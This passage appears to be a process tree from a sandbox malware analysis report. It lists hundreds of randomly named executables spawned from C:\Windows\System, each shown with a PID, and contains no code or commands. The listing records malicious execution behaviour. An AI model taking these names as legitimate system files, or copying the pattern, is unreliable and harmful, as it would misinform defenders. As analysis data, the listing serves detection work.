  C:\Windows\System\IYMSBNt.exe
  2⤵
  PID:13236
- C:\Windows\System\JMHVuuC.exe
  C:\Windows\System\JMHVuuC.exe
  2⤵
  PID:13264
- C:\Windows\System\kOZFSon.exe
  C:\Windows\System\kOZFSon.exe
  2⤵
  PID:13292
- C:\Windows\System\wyeXrwM.exe
  C:\Windows\System\wyeXrwM.exe
  2⤵
  PID:12304
- C:\Windows\System\YycoAlb.exe
  C:\Windows\System\YycoAlb.exe
  2⤵
  PID:12376
- C:\Windows\System\vMZBknn.exe
  C:\Windows\System\vMZBknn.exe
  2⤵
  PID:12444
- C:\Windows\System\AtkaPdM.exe
  C:\Windows\System\AtkaPdM.exe
  2⤵
  PID:12504
- C:\Windows\System\nQBeUzT.exe
  C:\Windows\System\nQBeUzT.exe
  2⤵
  PID:12576
- C:\Windows\System\qAVwWkJ.exe
  C:\Windows\System\qAVwWkJ.exe
  2⤵
  PID:12644
- C:\Windows\System\gpXUmTF.exe
  C:\Windows\System\gpXUmTF.exe
  2⤵
  PID:12716
- C:\Windows\System\FXxzTiy.exe
  C:\Windows\System\FXxzTiy.exe
  2⤵
  PID:12780
- C:\Windows\System\ThjhPIW.exe
  C:\Windows\System\ThjhPIW.exe
  2⤵
  PID:12840
- C:\Windows\System\DlCnIep.exe
  C:\Windows\System\DlCnIep.exe
  2⤵
  PID:12912
- C:\Windows\System\TuCPdRi.exe
  C:\Windows\System\TuCPdRi.exe
  2⤵
  PID:12976
- C:\Windows\System\yArsckD.exe
  C:\Windows\System\yArsckD.exe
  2⤵
  PID:13036
- C:\Windows\System\KaNFJfD.exe
  C:\Windows\System\KaNFJfD.exe
  2⤵
  PID:13108
- C:\Windows\System\TTTbskj.exe
  C:\Windows\System\TTTbskj.exe
  2⤵
  PID:13172
- C:\Windows\System\CHqgYJl.exe
  C:\Windows\System\CHqgYJl.exe
  2⤵
  PID:13228
- C:\Windows\System\dstFQZr.exe
  C:\Windows\System\dstFQZr.exe
  2⤵
  PID:13288
- C:\Windows\System\yLdVdQm.exe
  C:\Windows\System\yLdVdQm.exe
  2⤵
  PID:12408
- C:\Windows\System\bTLlAxf.exe
  C:\Windows\System\bTLlAxf.exe
  2⤵
  PID:12556
- C:\Windows\System\QqEfaln.exe
  C:\Windows\System\QqEfaln.exe
  2⤵
  PID:12696
- C:\Windows\System\IyfBsIF.exe
  C:\Windows\System\IyfBsIF.exe
  2⤵
  PID:12868
- C:\Windows\System\ghKHspE.exe
  C:\Windows\System\ghKHspE.exe
  2⤵
  PID:13004
- C:\Windows\System\GNWQJgS.exe
  C:\Windows\System\GNWQJgS.exe
  2⤵
  PID:13148
- C:\Windows\System\YUaPgsX.exe
  C:\Windows\System\YUaPgsX.exe
  2⤵
  PID:13284
- C:\Windows\System\LjLhiUZ.exe
  C:\Windows\System\LjLhiUZ.exe
  2⤵
  PID:12532
- C:\Windows\System\HqzWMcd.exe
  C:\Windows\System\HqzWMcd.exe
  2⤵
  PID:12940
- C:\Windows\System\DWqsAaK.exe
  C:\Windows\System\DWqsAaK.exe
  2⤵
  PID:13256
- C:\Windows\System\PHRxGeE.exe
  C:\Windows\System\PHRxGeE.exe
  2⤵
  PID:12836
- C:\Windows\System\YTHqIuI.exe
  C:\Windows\System\YTHqIuI.exe
  2⤵
  PID:13204
- C:\Windows\System\CSGAgmi.exe
  C:\Windows\System\CSGAgmi.exe
  2⤵
  PID:13708
- C:\Windows\System\cNUbHUY.exe
  C:\Windows\System\cNUbHUY.exe
  2⤵
  PID:13744
- C:\Windows\System\TjXlmdd.exe
  C:\Windows\System\TjXlmdd.exe
  2⤵
  PID:13492
- C:\Windows\System\cdrDblJ.exe
  C:\Windows\System\cdrDblJ.exe
  2⤵
  PID:13516
- C:\Windows\System\xREjNAY.exe
  C:\Windows\System\xREjNAY.exe
  2⤵
  PID:14080
- C:\Windows\System\bUTHybO.exe
  C:\Windows\System\bUTHybO.exe
  2⤵
  PID:14104
- C:\Windows\System\RrvAjPh.exe
  C:\Windows\System\RrvAjPh.exe
  2⤵
  PID:14176
- C:\Windows\System\RPteWjX.exe
  C:\Windows\System\RPteWjX.exe
  2⤵
  PID:14208
- C:\Windows\System\QiOwmzM.exe
  C:\Windows\System\QiOwmzM.exe
  2⤵
  PID:14232
- C:\Windows\System\ecrniwo.exe
  C:\Windows\System\ecrniwo.exe
  2⤵
  PID:14320
- C:\Windows\System\cVosPSx.exe
  C:\Windows\System\cVosPSx.exe
  2⤵
  PID:13336
- C:\Windows\System\bhdZmsn.exe
  C:\Windows\System\bhdZmsn.exe
  2⤵
  PID:13364
- C:\Windows\System\sAFAsCX.exe
  C:\Windows\System\sAFAsCX.exe
  2⤵
  PID:13392
- C:\Windows\System\jSHBTOy.exe
  C:\Windows\System\jSHBTOy.exe
  2⤵
  PID:13584
- C:\Windows\System\YByAOMp.exe
  C:\Windows\System\YByAOMp.exe
  2⤵
  PID:13488
- C:\Windows\System\XOogFaz.exe
  C:\Windows\System\XOogFaz.exe
  2⤵
  PID:5064
- C:\Windows\System\FkrEfsH.exe
  C:\Windows\System\FkrEfsH.exe
  2⤵
  PID:13432
- C:\Windows\System\NoVjEAQ.exe
  C:\Windows\System\NoVjEAQ.exe
  2⤵
  PID:3868
- C:\Windows\System\DyfooAz.exe
  C:\Windows\System\DyfooAz.exe
  2⤵
  PID:4460
- C:\Windows\System\ITXQMKw.exe
  C:\Windows\System\ITXQMKw.exe
  2⤵
  PID:13564
- C:\Windows\System\HSdCiQO.exe
  C:\Windows\System\HSdCiQO.exe
  2⤵
  PID:13608
- C:\Windows\System\AGsdFCk.exe
  C:\Windows\System\AGsdFCk.exe
  2⤵
  PID:13720
- C:\Windows\System\ptYReBh.exe
  C:\Windows\System\ptYReBh.exe
  2⤵
  PID:13752
- C:\Windows\System\dErOeeO.exe
  C:\Windows\System\dErOeeO.exe
  2⤵
  PID:13764
- C:\Windows\System\tdwqGwj.exe
  C:\Windows\System\tdwqGwj.exe
  2⤵
  PID:13800
- C:\Windows\System\ViCxRpu.exe
  C:\Windows\System\ViCxRpu.exe
  2⤵
  PID:1468
- C:\Windows\System\tqXEgra.exe
  C:\Windows\System\tqXEgra.exe
  2⤵
  PID:13844
- C:\Windows\System\mnanAKZ.exe
  C:\Windows\System\mnanAKZ.exe
  2⤵
  PID:5712
- C:\Windows\System\wyowXHP.exe
  C:\Windows\System\wyowXHP.exe
  2⤵
  PID:7400
- C:\Windows\System\NcDkmTs.exe
  C:\Windows\System\NcDkmTs.exe
  2⤵
  PID:7436
- C:\Windows\System\EjQQDcH.exe
  C:\Windows\System\EjQQDcH.exe
  2⤵
  PID:5320
- C:\Windows\System\dIyjKRY.exe
  C:\Windows\System\dIyjKRY.exe
  2⤵
  PID:5496
- C:\Windows\System\plkkiUw.exe
  C:\Windows\System\plkkiUw.exe
  2⤵
  PID:5616
- C:\Windows\System\UvOZRtL.exe
  C:\Windows\System\UvOZRtL.exe
  2⤵
  PID:2636
- C:\Windows\System\sJccdbO.exe
  C:\Windows\System\sJccdbO.exe
  2⤵
  PID:7628
- C:\Windows\System\ZMmRYza.exe
  C:\Windows\System\ZMmRYza.exe
  2⤵
  PID:13872
- C:\Windows\System\fNYhOHm.exe
  C:\Windows\System\fNYhOHm.exe
  2⤵
  PID:13880
- C:\Windows\System\hOpBpis.exe
  C:\Windows\System\hOpBpis.exe
  2⤵
  PID:7720
- C:\Windows\System\ckwWIme.exe
  C:\Windows\System\ckwWIme.exe
  2⤵
  PID:7740
- C:\Windows\System\lblyYAd.exe
  C:\Windows\System\lblyYAd.exe
  2⤵
  PID:1820
- C:\Windows\System\tyBfpbV.exe
  C:\Windows\System\tyBfpbV.exe
  2⤵
  PID:6204
- C:\Windows\System\SgmNgHn.exe
  C:\Windows\System\SgmNgHn.exe
  2⤵
  PID:7836
- C:\Windows\System\UuGupTx.exe
  C:\Windows\System\UuGupTx.exe
  2⤵
  PID:13956
- C:\Windows\System\iovQPHh.exe
  C:\Windows\System\iovQPHh.exe
  2⤵
  PID:4344
- C:\Windows\System\HPvuLhH.exe
  C:\Windows\System\HPvuLhH.exe
  2⤵
  PID:13972
- C:\Windows\System\SKwBXUg.exe
  C:\Windows\System\SKwBXUg.exe
  2⤵
  PID:6324
- C:\Windows\System\cytVriZ.exe
  C:\Windows\System\cytVriZ.exe
  2⤵
  PID:6336
- C:\Windows\System\szEAvBO.exe
  C:\Windows\System\szEAvBO.exe
  2⤵
  PID:3264
- C:\Windows\System\RDkTHLj.exe
  C:\Windows\System\RDkTHLj.exe
  2⤵
  PID:392
- C:\Windows\System\FZQCTWW.exe
  C:\Windows\System\FZQCTWW.exe
  2⤵
  PID:6400
- C:\Windows\System\BchzhBy.exe
  C:\Windows\System\BchzhBy.exe
  2⤵
  PID:1084
- C:\Windows\System\zlYiuUT.exe
  C:\Windows\System\zlYiuUT.exe
  2⤵
  PID:4144
- C:\Windows\System\wyeqZfD.exe
  C:\Windows\System\wyeqZfD.exe
  2⤵
  PID:6452
- C:\Windows\System\lnFzibt.exe
  C:\Windows\System\lnFzibt.exe
  2⤵
  PID:14036
- C:\Windows\System\rFuANkd.exe
  C:\Windows\System\rFuANkd.exe
  2⤵
  PID:3740
- C:\Windows\System\yGoVSZU.exe
  C:\Windows\System\yGoVSZU.exe
  2⤵
  PID:924
- C:\Windows\System\kDiCIOA.exe
  C:\Windows\System\kDiCIOA.exe
  2⤵
  PID:376
- C:\Windows\System\KHPzUGv.exe
  C:\Windows\System\KHPzUGv.exe
  2⤵
  PID:2300
- C:\Windows\System\tGsJqZH.exe
  C:\Windows\System\tGsJqZH.exe
  2⤵
  PID:14064
- C:\Windows\System\MeGXTnc.exe
  C:\Windows\System\MeGXTnc.exe
  2⤵
  PID:3448
- C:\Windows\System\oYYqWbk.exe
  C:\Windows\System\oYYqWbk.exe
  2⤵
  PID:7468
- C:\Windows\System\YisIHzd.exe
  C:\Windows\System\YisIHzd.exe
  2⤵
  PID:14136
- C:\Windows\System\fCnKzcZ.exe
  C:\Windows\System\fCnKzcZ.exe
  2⤵
  PID:952
- C:\Windows\System\EatOqyK.exe
  C:\Windows\System\EatOqyK.exe
  2⤵
  PID:14152
- C:\Windows\System\CjPQOWc.exe
  C:\Windows\System\CjPQOWc.exe
  2⤵
  PID:1092
- C:\Windows\System\XzuRAvB.exe
  C:\Windows\System\XzuRAvB.exe
  2⤵
  PID:7756
- C:\Windows\System\OVhSsIW.exe
  C:\Windows\System\OVhSsIW.exe
  2⤵
  PID:3680
- C:\Windows\System\NwhzNZs.exe
  C:\Windows\System\NwhzNZs.exe
  2⤵
  PID:4508
- C:\Windows\System\zizMwUW.exe
  C:\Windows\System\zizMwUW.exe
  2⤵
  PID:14204
- C:\Windows\System\CoOLXjt.exe
  C:\Windows\System\CoOLXjt.exe
  2⤵
  PID:6808
- C:\Windows\System\qZiQCPp.exe
  C:\Windows\System\qZiQCPp.exe
  2⤵
  PID:14256
- C:\Windows\System\JwamoVE.exe
  C:\Windows\System\JwamoVE.exe
  2⤵
  PID:8184
- C:\Windows\System\qRaTqQe.exe
  C:\Windows\System\qRaTqQe.exe
  2⤵
  PID:7500
- C:\Windows\System\oRMtYJN.exe
  C:\Windows\System\oRMtYJN.exe
  2⤵
  PID:3748
- C:\Windows\System\mwZPmwN.exe
  C:\Windows\System\mwZPmwN.exe
  2⤵
  PID:764
- C:\Windows\System\yCofSka.exe
  C:\Windows\System\yCofSka.exe
  2⤵
  PID:8012
- C:\Windows\System\OkNjrBT.exe
  C:\Windows\System\OkNjrBT.exe
  2⤵
  PID:7224
- C:\Windows\System\TrjrVcl.exe
  C:\Windows\System\TrjrVcl.exe
  2⤵
  PID:7600
- C:\Windows\System\PKYYxLN.exe
  C:\Windows\System\PKYYxLN.exe
  2⤵
  PID:14168
- C:\Windows\System\bGWsFLH.exe
  C:\Windows\System\bGWsFLH.exe
  2⤵
  PID:7104
- C:\Windows\System\wwttHVe.exe
  C:\Windows\System\wwttHVe.exe
  2⤵
  PID:13324
- C:\Windows\System\vcytrrP.exe
  C:\Windows\System\vcytrrP.exe
  2⤵
  PID:14200
- C:\Windows\System\qNuJbGO.exe
  C:\Windows\System\qNuJbGO.exe
  2⤵
  PID:13352
- C:\Windows\System\kykDuoj.exe
  C:\Windows\System\kykDuoj.exe
  2⤵
  PID:6212
- C:\Windows\System\tUMKinn.exe
  C:\Windows\System\tUMKinn.exe
  2⤵
  PID:13380
- C:\Windows\System\wHsdkLF.exe
  C:\Windows\System\wHsdkLF.exe
  2⤵
  PID:512
- C:\Windows\System\uZGBaxP.exe
  C:\Windows\System\uZGBaxP.exe
  2⤵
  PID:3756
- C:\Windows\System\ppLAnZG.exe
  C:\Windows\System\ppLAnZG.exe
  2⤵
  PID:8352
- C:\Windows\System\enpFMQf.exe
  C:\Windows\System\enpFMQf.exe
  2⤵
  PID:5148
- C:\Windows\System\mSaBZLh.exe
  C:\Windows\System\mSaBZLh.exe
  2⤵
  PID:8444
- C:\Windows\System\VGCezNu.exe
  C:\Windows\System\VGCezNu.exe
  2⤵
  PID:4784
- C:\Windows\System\QZCVPBh.exe
  C:\Windows\System\QZCVPBh.exe
  2⤵
  PID:13472
- C:\Windows\System\NCTBmJZ.exe
  C:\Windows\System\NCTBmJZ.exe
  2⤵
  PID:1568
- C:\Windows\System\bKzICVe.exe
  C:\Windows\System\bKzICVe.exe
  2⤵
  PID:2820
- C:\Windows\System\qXxvMsI.exe
  C:\Windows\System\qXxvMsI.exe
  2⤵
  PID:6824
- C:\Windows\System\SpVxZwQ.exe
  C:\Windows\System\SpVxZwQ.exe
  2⤵
  PID:13552
- C:\Windows\System\uhlaBAR.exe
  C:\Windows\System\uhlaBAR.exe
  2⤵
  PID:5416
- C:\Windows\System\etXDTBp.exe
  C:\Windows\System\etXDTBp.exe
  2⤵
  PID:7084
- C:\Windows\System\vkccdks.exe
  C:\Windows\System\vkccdks.exe
  2⤵
  PID:13632
- C:\Windows\System\qNKdHOR.exe
  C:\Windows\System\qNKdHOR.exe
  2⤵
  PID:13640
- C:\Windows\System\MZcULlJ.exe
  C:\Windows\System\MZcULlJ.exe
  2⤵
  PID:8772
- C:\Windows\System\McRJGQA.exe
  C:\Windows\System\McRJGQA.exe
  2⤵
  PID:6428
- C:\Windows\System\CWCUPpL.exe
  C:\Windows\System\CWCUPpL.exe
  2⤵
  PID:2228
- C:\Windows\System\bUFSyAC.exe
  C:\Windows\System\bUFSyAC.exe
  2⤵
  PID:4836
- C:\Windows\System\IlagQXC.exe
  C:\Windows\System\IlagQXC.exe
  2⤵
  PID:6976
- C:\Windows\System\nIBTWvg.exe
  C:\Windows\System\nIBTWvg.exe
  2⤵
  PID:13688
- C:\Windows\System\GqHsxDI.exe
  C:\Windows\System\GqHsxDI.exe
  2⤵
  PID:8912
- C:\Windows\System\HUuPhqK.exe
  C:\Windows\System\HUuPhqK.exe
  2⤵
  PID:8964
- C:\Windows\System\QTYbWco.exe
  C:\Windows\System\QTYbWco.exe
  2⤵
  PID:9092
- C:\Windows\System\mRCKOPD.exe
  C:\Windows\System\mRCKOPD.exe
  2⤵
  PID:9184
- C:\Windows\System\wBaHCvt.exe
  C:\Windows\System\wBaHCvt.exe
  2⤵
  PID:8300
- C:\Windows\System\LvmCwyO.exe
  C:\Windows\System\LvmCwyO.exe
  2⤵
  PID:8580
- C:\Windows\System\PAHXYay.exe
  C:\Windows\System\PAHXYay.exe
  2⤵
  PID:8848
- C:\Windows\System\vFrGuDr.exe
  C:\Windows\System\vFrGuDr.exe
  2⤵
  PID:9096
- C:\Windows\System\tkPcLiv.exe
  C:\Windows\System\tkPcLiv.exe
  2⤵
  PID:8336
- C:\Windows\System\sxVyaNk.exe
  C:\Windows\System\sxVyaNk.exe
  2⤵
  PID:6792
- C:\Windows\System\cbTnuFQ.exe
  C:\Windows\System\cbTnuFQ.exe
  2⤵
  PID:13700
- C:\Windows\System\PmMBaNx.exe
  C:\Windows\System\PmMBaNx.exe
  2⤵
  PID:888
- C:\Windows\System\AjczDKv.exe
  C:\Windows\System\AjczDKv.exe
  2⤵
  PID:4316
- C:\Windows\System\oRCUtKw.exe
  C:\Windows\System\oRCUtKw.exe
  2⤵
  PID:3724
- C:\Windows\System\PatfjYA.exe
  C:\Windows\System\PatfjYA.exe
  2⤵
  PID:9628
- C:\Windows\System\kFmgYHX.exe
  C:\Windows\System\kFmgYHX.exe
  2⤵
  PID:13796
- C:\Windows\System\EgMVsNO.exe
  C:\Windows\System\EgMVsNO.exe
  2⤵
  PID:1936
- C:\Windows\System\RxtpxDC.exe
  C:\Windows\System\RxtpxDC.exe
  2⤵
  PID:9724
- C:\Windows\System\zEBvwsN.exe
  C:\Windows\System\zEBvwsN.exe
  2⤵
  PID:9788
- C:\Windows\System\abHAiMJ.exe
  C:\Windows\System\abHAiMJ.exe
  2⤵
  PID:9816
- C:\Windows\System\nKxWmde.exe
  C:\Windows\System\nKxWmde.exe
  2⤵
  PID:5300
- C:\Windows\System\eccVzeX.exe
  C:\Windows\System\eccVzeX.exe
  2⤵
  PID:6016
- C:\Windows\System\cWWSmOp.exe
  C:\Windows\System\cWWSmOp.exe
  2⤵
  PID:7656
- C:\Windows\System\wfNuuqS.exe
  C:\Windows\System\wfNuuqS.exe
  2⤵
  PID:7684
- C:\Windows\System\ZjXiZBf.exe
  C:\Windows\System\ZjXiZBf.exe
  2⤵
  PID:5432
- C:\Windows\System\BmGMraY.exe
  C:\Windows\System\BmGMraY.exe
  2⤵
  PID:13892
- C:\Windows\System\pvLLXbr.exe
  C:\Windows\System\pvLLXbr.exe
  2⤵
  PID:13908
- C:\Windows\System\bAvlnjj.exe
  C:\Windows\System\bAvlnjj.exe
  2⤵
  PID:1220
- C:\Windows\System\PdNIRsF.exe
  C:\Windows\System\PdNIRsF.exe
  2⤵
  PID:9336
- C:\Windows\System\yLMBaFM.exe
  C:\Windows\System\yLMBaFM.exe
  2⤵
  PID:7324
- C:\Windows\System\bVImrKh.exe
  C:\Windows\System\bVImrKh.exe
  2⤵
  PID:6256
- C:\Windows\System\mpQngpC.exe
  C:\Windows\System\mpQngpC.exe
  2⤵
  PID:7888
- C:\Windows\System\eVDKOte.exe
  C:\Windows\System\eVDKOte.exe
  2⤵
  PID:3932
- C:\Windows\System\UtWylPE.exe
  C:\Windows\System\UtWylPE.exe
  2⤵
  PID:7952
- C:\Windows\System\ijkXqbz.exe
  C:\Windows\System\ijkXqbz.exe
  2⤵
  PID:9980
- C:\Windows\System\zZoUpTk.exe
  C:\Windows\System\zZoUpTk.exe
  2⤵
  PID:8008
- C:\Windows\System\UdIDXWa.exe
  C:\Windows\System\UdIDXWa.exe
  2⤵
  PID:4620
- C:\Windows\System\zGQuwdw.exe
  C:\Windows\System\zGQuwdw.exe
  2⤵
  PID:14008
- C:\Windows\System\mwzQplJ.exe
  C:\Windows\System\mwzQplJ.exe
  2⤵
  PID:9412
- C:\Windows\System\hCqnafi.exe
  C:\Windows\System\hCqnafi.exe
  2⤵
  PID:4672
- C:\Windows\System\ywnKZCz.exe
  C:\Windows\System\ywnKZCz.exe
  2⤵
  PID:9916
- C:\Windows\System\AzzceWS.exe
  C:\Windows\System\AzzceWS.exe
  2⤵
  PID:9668
- C:\Windows\System\PKNzhtB.exe
  C:\Windows\System\PKNzhtB.exe
  2⤵
  PID:10224
- C:\Windows\System\EQQpzsb.exe
  C:\Windows\System\EQQpzsb.exe
  2⤵
  PID:6548
- C:\Windows\System\utqGMyM.exe
  C:\Windows\System\utqGMyM.exe
  2⤵
  PID:10116
- C:\Windows\System\iujRKZc.exe
  C:\Windows\System\iujRKZc.exe
  2⤵
  PID:9584
- C:\Windows\System\jPEcmgh.exe
  C:\Windows\System\jPEcmgh.exe
  2⤵
  PID:14088
- C:\Windows\System\JBFmLNC.exe
  C:\Windows\System\JBFmLNC.exe
  2⤵
  PID:14092
- C:\Windows\System\zNHDJmX.exe
  C:\Windows\System\zNHDJmX.exe
  2⤵
  PID:14120
- C:\Windows\System\JKcjmFD.exe
  C:\Windows\System\JKcjmFD.exe
  2⤵
  PID:4456
- C:\Windows\System\opycgZB.exe
  C:\Windows\System\opycgZB.exe
  2⤵
  PID:10616
- C:\Windows\System\KrhvmCy.exe
  C:\Windows\System\KrhvmCy.exe
  2⤵
  PID:14156
- C:\Windows\System\TLKTCDD.exe
  C:\Windows\System\TLKTCDD.exe
  2⤵
  PID:7696
- C:\Windows\System\eqcZJKC.exe
  C:\Windows\System\eqcZJKC.exe
  2⤵
  PID:6768
- C:\Windows\System\AYvgKdB.exe
  C:\Windows\System\AYvgKdB.exe
  2⤵
  PID:10828
- C:\Windows\System\znAKhXo.exe
  C:\Windows\System\znAKhXo.exe
  2⤵
  PID:10884
- C:\Windows\System\yGlovVN.exe
  C:\Windows\System\yGlovVN.exe
  2⤵
  PID:14220
- C:\Windows\System\UfAstFr.exe
  C:\Windows\System\UfAstFr.exe
  2⤵
  PID:10960
- C:\Windows\System\DqMwMhr.exe
  C:\Windows\System\DqMwMhr.exe
  2⤵
  PID:11028
- C:\Windows\System\AMzFlKo.exe
  C:\Windows\System\AMzFlKo.exe
  2⤵
  PID:14288
- C:\Windows\System\mjPUeae.exe
  C:\Windows\System\mjPUeae.exe
  2⤵
  PID:2948
- C:\Windows\System\iNJLQHy.exe
  C:\Windows\System\iNJLQHy.exe
  2⤵
  PID:11132
- C:\Windows\System\TeMsxvQ.exe
  C:\Windows\System\TeMsxvQ.exe
  2⤵
  PID:4212
- C:\Windows\System\ezIBUMv.exe
  C:\Windows\System\ezIBUMv.exe
  2⤵
  PID:7036
- C:\Windows\System\rhdtMGP.exe
  C:\Windows\System\rhdtMGP.exe
  2⤵
  PID:10404
- C:\Windows\System\iCTVaFY.exe
  C:\Windows\System\iCTVaFY.exe
  2⤵
  PID:2776
- C:\Windows\System\UjVFypv.exe
  C:\Windows\System\UjVFypv.exe
  2⤵
  PID:14308
- C:\Windows\System\KuGDrDF.exe
  C:\Windows\System\KuGDrDF.exe
  2⤵
  PID:10764
- C:\Windows\System\HNGzubP.exe
  C:\Windows\System\HNGzubP.exe
  2⤵
  PID:4404
- C:\Windows\System\ovAAmhQ.exe
  C:\Windows\System\ovAAmhQ.exe
  2⤵
  PID:10936
- C:\Windows\System\KXAZutm.exe
  C:\Windows\System\KXAZutm.exe
  2⤵
  PID:1520
- C:\Windows\System\VZVvdpJ.exe
  C:\Windows\System\VZVvdpJ.exe
  2⤵
  PID:652
- C:\Windows\System\iiKlKCz.exe
  C:\Windows\System\iiKlKCz.exe
  2⤵
  PID:6052
- C:\Windows\System\ucBNBls.exe
  C:\Windows\System\ucBNBls.exe
  2⤵
  PID:11120
- C:\Windows\System\oJUkfIb.exe
  C:\Windows\System\oJUkfIb.exe
  2⤵
  PID:11248
- C:\Windows\System\hQVzUvV.exe
  C:\Windows\System\hQVzUvV.exe
  2⤵
  PID:8324
- C:\Windows\System\PEpWKdq.exe
  C:\Windows\System\PEpWKdq.exe
  2⤵
  PID:5140
- C:\Windows\System\EMckslK.exe
  C:\Windows\System\EMckslK.exe
  2⤵
  PID:5372
- C:\Windows\System\KKYbhWD.exe
  C:\Windows\System\KKYbhWD.exe
  2⤵
  PID:13424
- C:\Windows\System\sssidZB.exe
  C:\Windows\System\sssidZB.exe
  2⤵
  PID:4876
- C:\Windows\System\kMmsyAB.exe
  C:\Windows\System\kMmsyAB.exe
  2⤵
  PID:8536
- C:\Windows\System\KVTaNDF.exe
  C:\Windows\System\KVTaNDF.exe
  2⤵
  PID:11344
- C:\Windows\System\iARFyIM.exe
  C:\Windows\System\iARFyIM.exe
  2⤵
  PID:7028
- C:\Windows\System\BSoTrpU.exe
  C:\Windows\System\BSoTrpU.exe
  2⤵
  PID:5444
- C:\Windows\System\FCuqmZK.exe
  C:\Windows\System\FCuqmZK.exe
  2⤵
  PID:8040
- C:\Windows\System\vNXVFQm.exe
  C:\Windows\System\vNXVFQm.exe
  2⤵
  PID:7340
- C:\Windows\System\ioTbUzJ.exe
  C:\Windows\System\ioTbUzJ.exe
  2⤵
  PID:5276
- C:\Windows\System\JDXLUYg.exe
  C:\Windows\System\JDXLUYg.exe
  2⤵
  PID:13628
- C:\Windows\System\gQXidXl.exe
  C:\Windows\System\gQXidXl.exe
  2⤵
  PID:11620
- C:\Windows\System\FShksyE.exe
  C:\Windows\System\FShksyE.exe
  2⤵
  PID:5996
- C:\Windows\System\GrvcSAd.exe
  C:\Windows\System\GrvcSAd.exe
  2⤵
  PID:6484
- C:\Windows\System\eJNCtcI.exe
  C:\Windows\System\eJNCtcI.exe
  2⤵
  PID:11804
- C:\Windows\System\jANOJQD.exe
  C:\Windows\System\jANOJQD.exe
  2⤵
  PID:6656
- C:\Windows\System\FyBxcyi.exe
  C:\Windows\System\FyBxcyi.exe
  2⤵
  PID:11884
- C:\Windows\System\FzrooEZ.exe
  C:\Windows\System\FzrooEZ.exe
  2⤵
  PID:11940
- C:\Windows\System\SwzGJLm.exe
  C:\Windows\System\SwzGJLm.exe
  2⤵
  PID:12008
- C:\Windows\System\OduhgrS.exe
  C:\Windows\System\OduhgrS.exe
  2⤵
  PID:8952
- C:\Windows\System\HqOHPuF.exe
  C:\Windows\System\HqOHPuF.exe
  2⤵
  PID:12080
- C:\Windows\System\hxCbGvk.exe
  C:\Windows\System\hxCbGvk.exe
  2⤵
  PID:9140
- C:\Windows\System\jEfosEi.exe
  C:\Windows\System\jEfosEi.exe
  2⤵
  PID:8212
- C:\Windows\System\gEErlHd.exe
  C:\Windows\System\gEErlHd.exe
  2⤵
  PID:6440
- C:\Windows\System\WyWxEpu.exe
  C:\Windows\System\WyWxEpu.exe
  2⤵
  PID:9012
- C:\Windows\System\NWmixMB.exe
  C:\Windows\System\NWmixMB.exe
  2⤵
  PID:12276
- C:\Windows\System\usTDKhv.exe
  C:\Windows\System\usTDKhv.exe
  2⤵
  PID:11284
- C:\Windows\System\HhNuCKn.exe
  C:\Windows\System\HhNuCKn.exe
  2⤵
  PID:6648
- C:\Windows\System\MbrwYlA.exe
  C:\Windows\System\MbrwYlA.exe
  2⤵
  PID:9240
- C:\Windows\System\TcCRUap.exe
  C:\Windows\System\TcCRUap.exe
  2⤵
  PID:9316
- C:\Windows\System\VjKQIsI.exe
  C:\Windows\System\VjKQIsI.exe
  2⤵
  PID:5820
- C:\Windows\System\FYVErIO.exe
  C:\Windows\System\FYVErIO.exe
  2⤵
  PID:13456
- C:\Windows\System\OLijmXF.exe
  C:\Windows\System\OLijmXF.exe
  2⤵
  PID:9416
- C:\Windows\System\xApNLhq.exe
  C:\Windows\System\xApNLhq.exe
  2⤵
  PID:3148
- C:\Windows\System\jTbZuRR.exe
  C:\Windows\System\jTbZuRR.exe
  2⤵
  PID:9492
- C:\Windows\System\VelDSkY.exe
  C:\Windows\System\VelDSkY.exe
  2⤵
  PID:9464
- C:\Windows\System\iucjLOa.exe
  C:\Windows\System\iucjLOa.exe
  2⤵
  PID:2168
- C:\Windows\System\hPIFrIm.exe
  C:\Windows\System\hPIFrIm.exe
  2⤵
  PID:5312
- C:\Windows\System\ZhAqlXx.exe
  C:\Windows\System\ZhAqlXx.exe
  2⤵
  PID:11916
- C:\Windows\System\PXPssDT.exe
  C:\Windows\System\PXPssDT.exe
  2⤵
  PID:12004
- C:\Windows\System\IzyxtVS.exe
  C:\Windows\System\IzyxtVS.exe
  2⤵
  PID:12120
- C:\Windows\System\mhiwBxd.exe
  C:\Windows\System\mhiwBxd.exe
  2⤵
  PID:9760
- C:\Windows\System\iBUyvct.exe
  C:\Windows\System\iBUyvct.exe
  2⤵
  PID:11392
- C:\Windows\System\qRAbbjW.exe
  C:\Windows\System\qRAbbjW.exe
  2⤵
  PID:9872
- C:\Windows\System\nIwmint.exe
  C:\Windows\System\nIwmint.exe
  2⤵
  PID:11872
- C:\Windows\System\efcqKLq.exe
  C:\Windows\System\efcqKLq.exe
  2⤵
  PID:8784
- C:\Windows\System\dGmYbwv.exe
  C:\Windows\System\dGmYbwv.exe
  2⤵
  PID:10076
- C:\Windows\System\WkMQWdf.exe
  C:\Windows\System\WkMQWdf.exe
  2⤵
  PID:3592
- C:\Windows\System\tmMKaXW.exe
  C:\Windows\System\tmMKaXW.exe
  2⤵
  PID:6176
- C:\Windows\System\kJkExwo.exe
  C:\Windows\System\kJkExwo.exe
  2⤵
  PID:6664
- C:\Windows\System\PTHtbvT.exe
  C:\Windows\System\PTHtbvT.exe
  2⤵
  PID:11952
- C:\Windows\System\GxxdpOR.exe
  C:\Windows\System\GxxdpOR.exe
  2⤵
  PID:10428
- C:\Windows\System\kKGGJoN.exe
  C:\Windows\System\kKGGJoN.exe
  2⤵
  PID:3120
- C:\Windows\System\SYRgaEb.exe
  C:\Windows\System\SYRgaEb.exe
  2⤵
  PID:12404
- C:\Windows\System\WtYqvIb.exe
  C:\Windows\System\WtYqvIb.exe
  2⤵
  PID:12460
- C:\Windows\System\wQKrLZb.exe
  C:\Windows\System\wQKrLZb.exe
  2⤵
  PID:12528
- C:\Windows\System\AgeEcyb.exe
  C:\Windows\System\AgeEcyb.exe
  2⤵
  PID:12580
- C:\Windows\System\RUGacRF.exe
  C:\Windows\System\RUGacRF.exe
  2⤵
  PID:12628
- C:\Windows\System\ZlPitSA.exe
  C:\Windows\System\ZlPitSA.exe
  2⤵
  PID:10160
- C:\Windows\System\ryzhRaf.exe
  C:\Windows\System\ryzhRaf.exe
  2⤵
  PID:9176
- C:\Windows\System\loWySSI.exe
  C:\Windows\System\loWySSI.exe
  2⤵
  PID:4472
- C:\Windows\System\ZKcjtmA.exe
  C:\Windows\System\ZKcjtmA.exe
  2⤵
  PID:8092
- C:\Windows\System\wgMXBWI.exe
